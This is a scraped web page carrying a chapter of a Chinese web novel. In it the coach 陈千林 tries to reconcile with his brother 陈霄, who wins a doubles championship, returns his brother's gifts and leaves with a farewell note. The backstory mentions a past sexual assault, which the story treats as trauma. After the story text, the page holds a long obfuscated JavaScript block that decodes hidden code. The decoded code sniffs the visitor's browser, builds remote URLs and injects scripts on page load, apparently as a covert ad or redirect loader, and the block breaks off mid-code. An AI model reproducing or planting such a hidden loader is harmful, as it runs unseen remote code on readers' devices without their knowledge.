关灯
护眼
字体:

番外 林霄篇13(第1页)

章节目录保存书签

【林霄番外-13】陈霄转身下楼,走到二楼自己的房间门口,他停下脚步有些想笑,可弯起嘴角时却发现自己根本笑不出来。那些深爱陈千林的过去,如同海浪一样在心底不断翻涌。好不容易决定放弃,他不明白陈千林为什么要在这个时候给他的心里丢一颗炸弹,就好像在逗他玩儿,而他却成了跟着一块骨头到处跑的小狗,只要主人招招手,就算刚刚被踹了一脚,也会屁颠屁颠地扑过去抢骨头。如果他真是条小狗,或许他会不知道疼,哪怕被陈千林明确地拒绝过两次,如今陈千林态度缓和说一句“我们重新开始”,他也会兴高采烈地扑过去,咬住这块诱人的肉骨头。然而他是一个人,他有身而为人最基本的尊严。被亲口拒绝了两次,他不想满怀希望地再去尝试,然后受伤第三次——那样的他,不仅是傻逼,简直就是智障。他已经输不起了。现在他只想下定决心远离陈千林,他不能因为哥哥莫名其妙说了几句软话便动摇,如果这就动摇的话,那他成什么了?真成陈千林招之则来、挥之即去的一条狗了?陈霄深吸口气把眼中的酸涩逼回去,回到客厅时他的脸上又恢复了笑容。秦舒兰担心地问道:“阿霄,你哥哥他……”陈霄摆摆手,说:“没事,哥只是觉得我的决定太草率,但其实我已经仔细想过了。”郑阳看出他不太对,便主动开口道:“叔叔、阿姨,时间不早了,我们也该回去了。”说罢就把陈霄拉了起来,陈霄配合地道:“爸,妈,那我们先走了。”秦舒兰有些失落:“不在家住一晚吗?”陈霄道:“不了,回去还要收拾行李,我们后天就出发。”两人只好不再留他。陈霄和郑阳一起转身出门,陈千林并没有下楼,他站在三楼的窗前,一直看着陈霄挺拔的背影消失在小区的门口。陈千林的心里有些难受,在处理感情问题上他确实是个新手,毫无经验可言,也不确定自己的做法是对是错,他只能像个瞎子一样在漆黑的夜里摸索,慢慢地寻找出路。但显然,今天的告白很失败,那个拥抱反而刺伤了陈霄。陈千林头痛欲裂,不知道下一步该怎么办。回到房间后,他整理了自己的书柜,这个柜子里有一些陈霄送给他的生日礼物,比如八岁那年亲手做的贺卡;九岁的时候用零件组装的机甲模型;十岁的时候,知道哥哥喜欢植物,陈霄就采集了很多植物的叶子,晾干,做成一大本标本送给陈千林……陈家很有钱,陈霄花的钱都是养父养母给的,所以送哥哥的礼物他没有花钱,而是自己亲手制作——每一份礼物里,都藏着陈霄对哥哥满满的心意。那个小孩子其实非常懂事,从小就对哥哥那么用心,可自己这么多年为什么就忽略了呢?看着这些很简单、却很用心的小礼物,陈千林第一次有种眼眶酸涩的感觉,他将陈霄送的礼物好好地保存起来,然后连夜赶去了涅盘工作室的地址。陈霄今天回的地方是陈家老宅,也是陈霄小时候住的地方,后来陈霄升了初中,因为上学距离较远,陈千林又准备去打比赛,父母干脆在帝都大学的对面另外买了套房子给他们兄弟住,距离圣域俱乐部和陈霄的学校都很近。他们兄弟两人在新房子住了几年,陈霄18岁告白后,陈千林离开这里,并把这套小复式留给陈霄。陈霄后来将它改建成代练工作室,一楼是游戏大厅,二楼是员工宿舍,但哥哥的房间他一直保留着,并且定期打扫,阳台上的植物也长得很茂盛,绿萝的藤蔓都绕了墙壁一圈。陈千林开门进屋。一楼的旋转椅、头盔等设备已经搬去了新的涅盘基地,看上去空荡荡的。陈千林顺着楼梯走上二楼,让他意外的是,阳台上的植物依旧长得很好,显然是陈霄请了人定期给它们浇水。被陈霄精心照料了五年的植物们,在屋内暖光的照射下生机勃勃,绿色的叶片上散发着柔和的光泽——陈霄对哥哥留下的植物都这么用心,以前的他该有多痴情?他住在这个充满回忆的地方,五年来,一定每夜都想念着哥哥。陈千林越想越觉得难受,心脏像是被阳台上的植物藤蔓紧紧地缠绕、包裹住了一样,明明大量的绿植会让空气变得清新,可陈千林却觉得很压抑,似乎周围的氧气都被抽离,每一次呼吸时,他的胸口都会传来一阵闷痛。他看着这些自己亲自买回来,却被陈霄悉心养大的植物,良久都说不出一句话来。他以为,陈霄暗恋他多年,只要他表明态度,陈霄就会接受。可是今天告白的时候,陈霄很果断地推开了他,陈霄的脸上,甚至没有一丝一毫的喜悦。或许是被伤得够深、拒绝得够彻底,所以,陈霄原本炽热的心已经彻底冷却了。,!以前陈霄的心里满满的都是哥哥,看向哥哥时眼里全是爱慕。可现在,陈霄的心里已经没有一丝地方留给陈千林,甚至不想再看见陈千林。这一切转变,都是自己亲手造成的。陈千林皱着眉看向面前的植物,他沉默片刻,转身去找来了水壶,接了些水,一盆盆地慢慢浇下去,他的眼前像是闪过了一副画面,这五年来,陈霄也是这样一次次地俯身给植物们认真地浇水,他几乎能感受到陈霄照料这些植物时的心情。以前,陈霄照顾着哥哥留下来的植物,想念着哥哥。现在,他给这些植物浇水,满脑子都是陈霄。真是因果循环。想念一个人的感觉原来是这样,脑子里关于陈霄的画面不断晃动,小时候的可爱男孩儿,长大后的热血少年,比赛获奖时意气风发的帅气青年,受伤时红着眼眶、声音颤抖的狼狈模样……陈千林坐在阳台的躺椅上,回忆着关于陈霄的片段,冷漠的脸上渐渐浮起了一丝温柔。此时,陈霄正在酒吧喝酒,陪着他的还有郑阳和郑亦两个好哥们。找郑阳假扮情侣是陈霄的主意,因此郑阳也知道了陈霄暗恋哥哥的事。今天回陈家后,陈千林把陈霄叫楼上谈话,郑阳偷偷跟上去听了一阵墙角。见陈霄喝酒,郑阳忍不住道:“不会是他今天跟你说几句软话,你就动摇了吧?陈霄,你要是就这么扑回他的怀里,我就当没你这样的软蛋朋友!”“别逗了,我虽然脸皮厚,但也要脸。”陈霄笑了笑,将手中的酒一饮而尽,说:“被拒绝两次,我已经不抱任何希望了,我现在唯一的想法就是赶紧打完这个赛季,离开涅盘,然后过我自己的日子。我拿得起,也放得下。”“就该这样坚决一点。”郑亦是知道内情的人,所以很支持陈霄的决定。当时陈霄高烧昏迷伤那么严重,要不是他及时找医生陈霄说不定早就挂了。陈千林当时在哪?把弟弟伤成那样,不闻不问,隔了一天跑来送药,现在又回头说重新开始,当陈霄是什么?就算家里养的狗,被你弄伤弄残了,一脚踹开,改天又拿骨头哄,这还是人的做法吗?两位好哥们都在为陈霄抱不平。陈霄自己倒挺淡定,一边喝酒一边说道:“这赛季我接了不少代言,加上俱乐部的分红,还有之前存的钱,能把唐牧洲的债给还了。我手头上还有一些积蓄,我琢磨着,拿这笔钱在学校附近开个小店,卖卖动漫周边什么的,养活自己不成问题。”郑亦双眼一亮:“学校附近的店,生意都很好,我觉得霄哥这想法不错。”郑阳也赞同:“霄哥,说不定你是被打比赛耽误了的商业天才,哈哈。”陈霄笑着举起酒杯,看向两人:“来,干一杯,谢谢你们。”那天晚上他喝了很多,但始终没醉。他在郑亦家借住了一晚,次日就出发去旅行散心。一整个休假期,陈霄都在外面玩儿,一个人的旅行实在是太自由了,想睡到几点就睡到几点,一天想吃几顿饭就吃几顿饭。他发现,其实,没有陈千林的人生,他照样过得很好,不用顾忌太多,也不用动不动就难受,轻轻松松的过一辈子,也挺好的。只是,偶尔还是会梦见那个人。毕竟爱了太多年,人不能连梦境都控制自如。下半年的比赛开始之前,陈霄回到了涅盘俱乐部。旅游了一圈,他有些晒黑了,但这样的肤色看着更健康帅气。个人赛他今年没报名,因为上一届拿过季军,这一届阿哲报名了,他也知道自己拿不下冠军,而且,他要用更多的时间培养新人。但双人赛,他和阿哲的组合是涅盘的重头戏。陈霄在大事上向来拎得清,不会因为自己影响到阿哲,所以比赛开始后,他就全身心地投入到备战中,绝不拖阿哲的后腿。在俱乐部不可避免会见到陈千林,只是,陈霄不再像以前那样主动迎上去微笑着叫哥哥,而是很客气地称呼对方“教练”。陈千林欲言又止,但每次提到个人感情之前,陈霄都会用比赛相关的话题岔开。俱乐部人多口杂,陈霄又刻意躲避,陈千林很难找到机会和弟弟独处。况且陈千林自己也很忙,不但要协助双人组制定战术,还要监督训练营的新人训练。时间一天天过去,很快就到了十月中旬。双人赛项目的战况越来越激烈,陈霄和谢明哲,成了双人赛中最强的组合之一。本赛季老聂退役,聂岚这对双人组的boss不在了,唐牧洲也没报名双人赛,结果,陈谢组合就成了双人组最强的boss——他们一路过关斩将,四进二淘汰裴景山叶竹、半决赛击败归思睿刘京旭,一路杀进了总决赛!他们在总决赛遇到流霜城的方雨、乔溪师兄弟。水系控制多,节奏缓慢,陈霄和谢明哲每一步都打得很艰难,但陈千林赛前的战术布局非常出色,双方比分紧咬不放,一直从1:1拼到2:2,进入决胜局。,!最后一局,谢明哲放心地将指挥权交给了陈霄。陈霄精确指挥,和谢明哲默契配合,先用以命换命的打法把乔溪的水母卡全部杀光,两人再围攻方雨——虽然双方的卡牌数相等,可方雨一打二,加上亡语牌没队友后很难发挥出实力,最终无奈落败。陈霄和谢明哲获得了第十二赛季双人赛的冠军!两人激动地拥抱在一起,后台观战的涅盘新人们兴奋地跳了起来。陈千林等在后台走廊里祝贺他们,谢明哲主动跟师父抱了一下,陈霄却朝他笑笑,然后绕过他,转身去和新人们拥抱。陈千林被晾在原地,脸色有些难看。以前每次打完比赛陈霄都会主动抱哥哥,但现在,陈霄却在陈千林伸出手要抱他时,绕过了陈千林。这个动作透露出的嫌弃,让陈千林的心脏一阵刺痛。谢明哲有些尴尬,只好摸着鼻子打圆场:“咳,今天真是双喜临门,我们在双人赛拿了冠军,陈哥正好过24岁生日。莹莹说提前准备了庆功宴,师父,快回去吧。”池莹莹的声音也从走廊那边传来:“车在外面等,大家快走,免得被记者拦下!”众人立刻跟上领队,陈霄走在最前,陈千林走在最后,中间隔着整个涅盘的队员们。池莹莹带着大家来到提前订好的餐厅,她给陈霄准备了生日蛋糕,大家一起唱生日歌,池莹莹代表俱乐部,给陈霄送上了礼物。戴着寿星帽子的陈霄,被大家围在中间,脸颊红扑扑的,看上去很开心。陈千林主动走过去,拿出两个包装精美的盒子,目光温和地看着弟弟,说:“这是给你的生日礼物……陈霄,生日快乐。”那盒子一看就是陈霄最爱的动漫周边。他从小就追着看一部星际机甲题材的动漫,到现在已经出了上千集,主角团都快统治宇宙了,这也是全国最受欢迎的热血动漫。陈千林买的是二十周年纪念版机甲模型,全国限量两千份,且不说昂贵的价格,光是排队抢这个都要挤破头,陈千林也不知用了什么手段,不但抢到了,还抢到两个……俱乐部有新人认出模型,忍不住羡慕:“是二十周年限量版吧?我上个月排队排了一晚上,都没抢到,林神好厉害!”“陈哥也喜欢这个吗?这是我最爱的动漫主角!”看着陈千林伸到自己面前的修长好看的双手,陈霄神色复杂。小时候,他路过商场只是羡慕地看了那模型一眼,陈千林就去把模型买下来送给他,那是他第一次感受到被人宠爱的滋味。如今,同样的模型,二十周年限量版,是官方制作的最精美的版本,他也去排队抢了,等到凌晨24点,结果一刷新页面居然显示“商品已完售”,气得他一夜没睡好。陈千林居然记得,还帮他抢到两个……陈霄的眼眶微微发热,忽略上床那件事的话,陈千林对他其实很不错,从小就宠着他,只是,那种兄弟之情并不是他想要的。周围人太多,他不能直接拒绝教练送的礼物,只好手指僵硬地接过了盒子:“谢谢。”陈千林露出个微笑:“你喜欢就好。”队员们:“???”教练今天的声音很温和,温和得大家脊背莫名发凉,众人立刻识相地四散开,各自去自助食物区找吃的,陈千林周围十米内很快就形成了一片天然真空隔离带。陈霄低头看着礼物,轻咳一声:“你怎么抢到的?”陈千林解释道:“官方限量出售,我找遍朋友圈的人脉也没法私下买到,所以模型发售的那天晚上我借来朋友们的注册账号,开了十台光脑同时抢。运气还可以,有两台抢到了。”陈霄:“…………”简直没法想象,陈千林面无表情的同时开着十台光脑抢周边的画面。陈霄的嘴角微微抽搐:“为了这个,你还另外买9台光脑?没必要吧。”陈千林道:“因为你喜欢。”陈霄怔了怔,抬起头对上陈千林的目光。哥哥的眼睛一直像是秋日的湖面一样清冷、漠然,可是此刻,那眼睛里似乎多了些温情,好像有暖风吹过,泛起了丝丝柔和的涟漪。陈千林注视着陈霄,接着说:“我记得你从小就喜欢这些。我没给人送过生日礼物,不知道该送什么。只能想到这个,至少你不会讨厌。”陈霄:“……”如果换成以前,他现在可能已经激动地扑过去抱住陈千林了。可是现在,他只觉得难受。就好像本就死寂的心底,又被陈千林点燃了一簇小火苗,可惜周围的燃料已经消耗一空,火苗被风吹着,颤颤巍巍,将灭不灭,让他的心脏也跟着微微发颤。陈霄深吸口气,道:“先吃东西吧,我想你也饿了。”说罢就转身去拿吃的,脊背明显有些僵硬,不过今天涅盘全员都在,陈霄很快就掩饰好情绪,和一群新人聊起了比赛。陈千林知道弟弟没那么容易动摇,但至少礼物送了出去,他没白浪费时间。排队抢限量周边,这种幼稚的举动换成以前他想都不会想,可是现在,抢到的礼物陈霄收下了,他觉得自己做得没错。大概这就是传说中的……给喜欢的人送东西,自己也会开心?,!陈千林的脸上没有开心的表情,但眉头却舒展开来,胃口也变好了。生日宴和庆功宴放在一起,大家玩到很晚才回去,由于陈霄是寿星,还拿了双人赛冠军,大家轮番给他敬酒,陈霄喝了很多,却一直保持着清醒,因为他怕酒醉后会失态。回到宿舍后,他将哥哥送的两个模型并排摆在床头,呆呆地看了片刻。小时候,陈千林第一次给他送机甲模型,他开心地抱着模型下楼去跑圈,当时他只觉得,哥哥怎么这么好?他肯定遇到了全世界最好的哥哥。可是现在,更加珍贵的限量版模型,同一个人送的,那种开心的感觉却已经变得久远而模糊。他长大了,虽然依旧喜欢这款机甲,却不像小时候那样有执念。小孩子很单纯,收到礼物就觉得对方是个好人。可他已经成年了,他忘不掉被哥哥侵犯的那一夜撕心裂肺的疼,忘不掉自己带着伤去咖啡厅见陈千林,结果陈千林神色冷漠地说:“我们之间没有可能,你另外找个男朋友吧。”虽然现在陈千林的态度确实有所缓和,对他很关心,还专门按他的喜好给他准备了生日礼物,可陈霄真的怕了这个哥哥——他怕陈千林只是一时兴起,说和他重新开始,万一他答应和陈千林在一起,过个一两年,陈千林又说“我还是觉得独身更好,你去另外找个男朋友吧”,到时候他如何自处?!他还要脸吗??他在陈千林这块冰墙面前撞得头破血流,他不想再撞一次试试。陈霄深吸口气,将两个机甲模型仔细收回盒子里,打开光脑,在职业联盟的官方网站下载了一份“选手退役申请表”,按照要求一项一项地填完。双人赛结束后,接下来就是个人赛,陈霄不参加,专心在队里带新人。阿哲今年报名了。上赛季谢明哲个人赛弃权引起了不小争议,这个赛季谢明哲终于展现出超强的个人实力,一路连胜到总决赛,最终拿下了冠军!接下来还剩最后的团战,陈霄每一场都参加,但今年由于大部分俱乐部都研究了涅盘的团战打法,涅盘最后在团赛项目只拿下季军。但整体来说,涅盘在本赛季的收获很丰盛——谢明哲个人赛冠军,陈谢组合双人赛冠军,团战季军,三枚奖牌入账,在联盟强队中傲视群雄。颁奖礼结束那天,陈霄将早就填好的退役申请发给了联盟。陈千林是次日才接到联盟主席电话的,主席很疑惑地问:“陈霄什么情况?突然把退役申请表发到联盟,不会是发错了吧?”陈千林怔了怔,皱着眉道:“主席,陈霄的退役手续您先别给他办,我们俱乐部内部出了些问题,我会想办法说服他,可以吗?”主席头疼地揉着眉心:“你是他哥,又是涅盘的教练,好好劝劝他。他现在的状态这么好,打个年完全不是问题,急着退什么役?你看,老聂和老郑三十多岁才退役,陈霄才二十四,人气又这么高,前途无量啊!”“我知道,我会劝他的。”结束通话后,陈千林立刻发消息给陈霄,却始终得不到回复。结果这时候,池莹莹却突然跑来办公室,道:“教练,陈哥大清早就提着行李走了,在前台留下个箱子说是给你……”一个小纸箱,被透明胶带封好了。陈千林打开一看,正是陈霄生日的那天,自己送给他的礼物,二十周年纪念版机甲模型,居然被陈霄原封不动地退了回来。陈千林的脸色瞬间变得极为难看,他赶忙打电话给妈妈,问陈霄有没有回去过,秦舒兰笑着说:“阿霄确实刚来过,收拾了一些东西,我本想留他吃午饭的,他说和男朋友有约就走了。”陈千林眸色一冷,立刻开车回家。到家时,陈霄已经离开,陈千林发现二楼陈霄的房间,家人给他买的衣服、玩具、书本等全部整整齐齐地放在那里,可陈霄自己的私人物品却被搬空了。意识到陈霄要做什么,陈千林的心底陡然涌起一丝寒意,他脸色难看地开车去兄弟两人住过的那套复式楼。这房子是兄弟两人后来住的地方,所以陈霄的屋里有很多他自己赚钱买的东西,如今,屋子被搬得只剩下空床和空衣柜,倒是阳台上的那些植物,一盆都没动。桌上放着一张银行卡,一枚钥匙,还有一张字条。“哥,这套房子的钥匙还给你。你当年留给我的卡,里面的钱我一分都没动过,也物归原主。如你所说,我已经成年,我应该有自己的人生。”“过去的那些年,陈霄一直围着你转。考大学也好,打比赛也好,我都只想追逐你的脚步,陪在你的身边。坚持这么多年,我也累了。以后,我只想为自己而活。”“我会去环游世界,看看外面的风景。世界很广阔,也很精彩,我的眼里不该只关注一个人。不说再见了,陈霄亲笔。”“…………”陈千林紧紧地捏着这张纸,手指控制不住地发抖。小主,这个章节后面还有哦,,后面更精彩!他终于切身体会到了陈霄当年的痛。那年,18岁的陈霄一觉醒来时,陈千林就留给了他一把钥匙,一张有存款的卡,然后留下句“你成年了,以后我们各走各的”便转身离开。年少的陈霄,当时该有多绝望、多难过?生命中最重要的人,彻底离开自己的感觉,就好像心脏也被突然掏空了一样。如今,陈霄也留给他一把钥匙,还有那张一分钱都没动过的储蓄卡。陈千林伸出手用力地按住左侧的胸口,心脏的部位传来一阵阵痉挛般的痛,他的视线变得模糊起来,看不清陈霄纸条上的字。阳台上的那些绿藤,五年前他刚买回来的时候都是些小幼苗,如今已经长得极为茂盛,像是张牙舞爪的怪物一样嘲笑着他。他留在这个两人曾经一起住过的、装修风格温暖的房子里,却觉得周身一片冰冷。不知是不是空调开得太低了,那种冷意一直透过皮肤传到了心底。陈霄这次走得很坚决,拿走了一切东西,干净利落地从陈千林的世界消失。可能是伤得太重,哪怕伤口渐渐愈合,他也不再相信那个重伤过他的人。这是动物躲避危险的本能,哪怕陈千林态度缓和,想要和他复合,但他不相信,他怕自己再次受伤,所以他宁可离开,也不愿意再尝试。陈霄的选择很合理。但是,从此永别,再也不见……这个结局陈千林不能接受,也不会接受。当初,陈千林毅然离开,陈霄等了他五年。如今陈霄离开,他也可以等陈霄回心转意,不论多久。他会让陈霄知道——这次,哥哥已经做好了和你在一起,一辈子的打算。一辈子的时间很长,他等得起。※※※※※※※※※※※※※※※※※※※※两人心里对方都是唯一。兄弟年上锁死,不可拆不可逆。好久没写狗血虐恋,写得很爽。我感情戏苦手,写成这样已经很不容易了:)下一章甜起来。:()星卡大师

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 